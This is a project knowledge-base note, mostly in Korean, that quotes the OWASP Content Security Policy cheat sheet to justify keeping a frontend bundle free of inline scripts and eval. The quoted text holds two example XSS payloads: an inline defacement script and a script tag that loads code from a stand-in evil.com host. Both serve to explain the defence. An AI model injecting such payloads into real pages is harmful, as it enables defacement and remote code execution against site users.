---
title: OWASP Content Security Policy Cheat Sheet — CSP header, unsafe-inline/unsafe-eval, XSS defense-in-depth
source_type: official-doc
url: https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
archive_url:
status: raw
confidence: high
related_branches: [feature-frontend-browser-security-boundary-contract]
related_projects: [ca-skeleton-frontend]
tags: [ca-skeleton, frontend, security, owasp, csp, xss, official-doc]
created: 2026-07-19
last_reviewed: 2026-07-19
---

# OWASP Content Security Policy Cheat Sheet

> Layer: `raw/official-docs/` — OWASP Foundation 발행 Content Security Policy cheat sheet. ca-skeleton-frontend `FE-OC-019` (browser security boundary) 의 CSP-compatibility 결정 근거 — "왜 bundle 이 inline script / eval 을 피해야 strict CSP 를 적용할 수 있는가" 의 1차 reference. CSP 자체는 W3C spec 이며 header **값** 은 hosting/backend header owner 소유(본 branch 범위 밖), 본 자료는 frontend 가 만족해야 할 compatibility 원칙만 근거한다.

## Parent / 활용 branch (필수)

| Branch | 이 자료가 정당화하는 결정 |
|---|---|
| [[raw/branch-notes/feature-frontend-browser-security-boundary-contract]] | frontend bundle 이 `unsafe-inline`/`unsafe-eval` 없는 strict CSP 아래에서 동작하도록 inline script·eval·dynamic code 를 금지하는 결정의 근거. CSP header 값 자체는 hosting/backend header owner 소유(delegated). |

## 컨텍스트 / 왜 저장했는지

`feature-frontend-browser-security-boundary-contract` 의 hub 근거(§13.2)는 "CSP 는 hosting/backend header owner 와 frontend compatibility test 의 공동 책임" 이라고만 말하고, *왜* frontend bundle 이 inline script/eval 을 피해야 하는지의 메커니즘(strict CSP 가 `unsafe-inline`/`unsafe-eval` 없이는 inline script 와 eval 을 차단)은 hub 나 6개 build-tool 공식 문서에 없다. 이 cheat sheet 가 그 메커니즘을 직접 명시하므로 CSP-compatibility 결정의 외부 근거로 보관한다.

## 출처 / Source

- 원본 URL: https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
- 아카이브 URL: (미수집)
- 저자 / 조직: OWASP Foundation (Cheat Sheet Series — 커뮤니티 합의 + foundation 발행)
- 발행일: rolling docs
- 마지막 확인일: 2026-07-19 (WebFetch verbatim 확인)
- 관련 표준: W3C Content Security Policy Level 3 (본 cheatsheet 는 운영 권고, normative spec 아님)

## 핵심 인용 / Key quotes (verbatim, captured 2026-07-19)

> [§How to use CSP] "Send a Content-Security-Policy HTTP response header from your web server."

> [§Directives] "'unsafe-inline' Allows the usage of inline scripts or styles."

> [§Directives] "'unsafe-eval' Allows the usage of eval in scripts."

> [§CSP against XSS] "By preventing the page from executing inline scripts, attacks like injecting `<script>document.body.innerHTML='defaced'</script>` will not work."

> [§CSP against XSS] "By preventing the page from loading scripts from arbitrary servers, attacks like injecting `<script src=\"https://evil.com/hacked.js\"></script>` will not work."

> [§Introduction] "A strong CSP provides an effective second layer of protection against various types of vulnerabilities, especially XSS."

## Claims Extracted / 추출된 주장

> 이 자료가 **직접 말하는 것만** claim 으로 분리한다. 내 프로젝트 적용 결론은 아래에 포함하지 않는다.

| Claim ID | Claim (이 자료가 직접 말하는 것) | Evidence quote | Strength | Applies to | Does not prove |
|---|---|---|---|---|---|
| OWASP-CSP-C1 | CSP 는 web server 가 보내는 `Content-Security-Policy` **HTTP response header** 로 전달된다 | [§How to use CSP] "Send a Content-Security-Policy HTTP response header from your web server." | `official-reference` (OWASP cheatsheet — W3C spec 별도) | CSP header 의 소유·전달 위치(server/hosting 응답 헤더) 판정 | frontend bundle 이 header 값을 결정한다는 뜻은 아님 — header 는 server/hosting 소유 |
| OWASP-CSP-C2 | `'unsafe-inline'` 은 inline script/style 사용을 허용한다; 즉 이 keyword 가 없으면 inline script 는 실행되지 않아 `<script>...innerHTML='defaced'</script>` 주입이 무력화된다 | [§Directives] "'unsafe-inline' Allows the usage of inline scripts or styles." + [§CSP against XSS] "By preventing the page from executing inline scripts, attacks like injecting `<script>document.body.innerHTML='defaced'</script>` will not work." | `official-reference` | strict CSP 아래에서 bundle 이 inline script 를 피해야 하는 이유 | nonce/hash 로 특정 inline script 를 allowlist 하는 방식의 세부는 본 인용 범위 밖 |
| OWASP-CSP-C3 | `'unsafe-eval'` 은 script 안에서 `eval` 사용을 허용한다; 즉 이 keyword 가 없으면 `eval`/dynamic code 실행이 차단된다 | [§Directives] "'unsafe-eval' Allows the usage of eval in scripts." | `official-reference` | strict CSP 아래에서 bundle·의존성이 `eval`/`new Function` 을 피해야 하는 이유 | 어떤 라이브러리가 eval 을 쓰는지, 그 탐지 방법은 본 인용 범위 밖 |
| OWASP-CSP-C4 | strong CSP 는 XSS 등에 대한 **effective second layer(defense-in-depth)** 이며, arbitrary server 로부터의 script 로드를 막아 `<script src="https://evil.com/hacked.js">` 주입을 무력화한다 | [§Introduction] "A strong CSP provides an effective second layer of protection against various types of vulnerabilities, especially XSS." + [§CSP against XSS] "By preventing the page from loading scripts from arbitrary servers, attacks like injecting `<script src=\"https://evil.com/hacked.js\"></script>` will not work." | `official-reference` | CSP 를 primary XSS 방어가 아닌 second layer 로 자리매김하는 판정(=frontend 의 injection 금지 default 가 여전히 primary) | CSP 만으로 XSS 가 완전히 방지된다는 뜻은 아님 — second layer |

## Usage Boundaries / 적용 경계

- **이 자료가 직접 증명하는 것** (2026-07-19 WebFetch verbatim 확인):
  - `OWASP-CSP-C1`: CSP 는 HTTP response header 로 전달(서버/hosting 소유).
  - `OWASP-CSP-C2`: `'unsafe-inline'` 이 inline script/style 을 허용하며, 없으면 inline script 실행 차단.
  - `OWASP-CSP-C3`: `'unsafe-eval'` 이 `eval` 을 허용하며, 없으면 `eval`/dynamic code 차단.
  - `OWASP-CSP-C4`: CSP 는 XSS 에 대한 second layer(defense-in-depth)이고 arbitrary-source script 로드를 차단.
- **이 자료가 증명하지 않는 것**:
  - 특정 프로젝트가 사용해야 할 정확한 directive 집합(`default-src 'self'` 등) — 배포 환경·hosting 정책 의존, header owner 결정.
  - CSP 만으로 XSS 가 완전히 방지된다는 명제 — second layer 임을 명시.
  - nonce/hash 기반 inline script allowlist 의 구체 문법 — 본 인용 범위 밖.
  - HSTS/frame/referrer 등 다른 security header 정책 — 별도 문서(OWASP HSTS cheat sheet 등).
- **내 프로젝트에 적용하려면 추가 확인이 필요한 것**:
  - ca-skeleton-frontend bundle 과 그 의존성이 실제로 inline script/eval 을 요구하지 않는지 build 산출물 검사(compatibility fixture).
  - 실제 CSP directive 값은 hosting/backend header owner branch(release·cache·header 정책) 가 정의 — 본 branch 는 값이 아닌 compatibility 만 검증.

## 메모 / Notes

> 본 섹션은 자료 직접 인용 아님. ca-skeleton-frontend 해석.

- **header 소유 경계**: `OWASP-CSP-C1`이 "CSP는 server가 보내는 응답 header"라고 명시하므로, ca-skeleton-frontend에서 CSP directive 값은 hosting/backend header owner 소유다. `feature-frontend-browser-security-boundary-contract`는 값이 아니라 *bundle이 그 정책과 호환되는가*(inline script/eval 미의존)만 책임진다.
- **second layer 위치**: `OWASP-CSP-C4`가 CSP를 "second layer"로 규정하므로, injection 기본 금지(lint)와 output encoding이 primary 방어로 남고 CSP는 보완이다. CSP가 있으니 injection lint를 완화해도 된다고 해석하면 안 된다.
- **nonce/hash**: 불가피한 inline이 필요할 때 nonce/hash로 특정 script를 allowlist하는 방식은 본 cheatsheet 범위 밖이며 header owner 결정이다. skeleton default는 inline 자체를 만들지 않는 것.
- OWASP cheatsheet는 **권고이며 강제 표준이 아님**. W3C CSP spec이 normative.

## Related / 관련

- 같은 주제 다른 official-doc:
  - [[raw/official-docs/owasp-hsts-cheat-sheet]] — 다른 security response header(HSTS)
  - [[raw/official-docs/owasp-html5-storage-xss-spa]] — browser storage 의 XSS 노출
- 인용하는 branch:
  - [[raw/branch-notes/feature-frontend-browser-security-boundary-contract]]
- 인용하는 project:
  - [[raw/project-notes/ca-skeleton-frontend-operational-contract]]
- 인용하는 wiki: (미작성)
</invoke>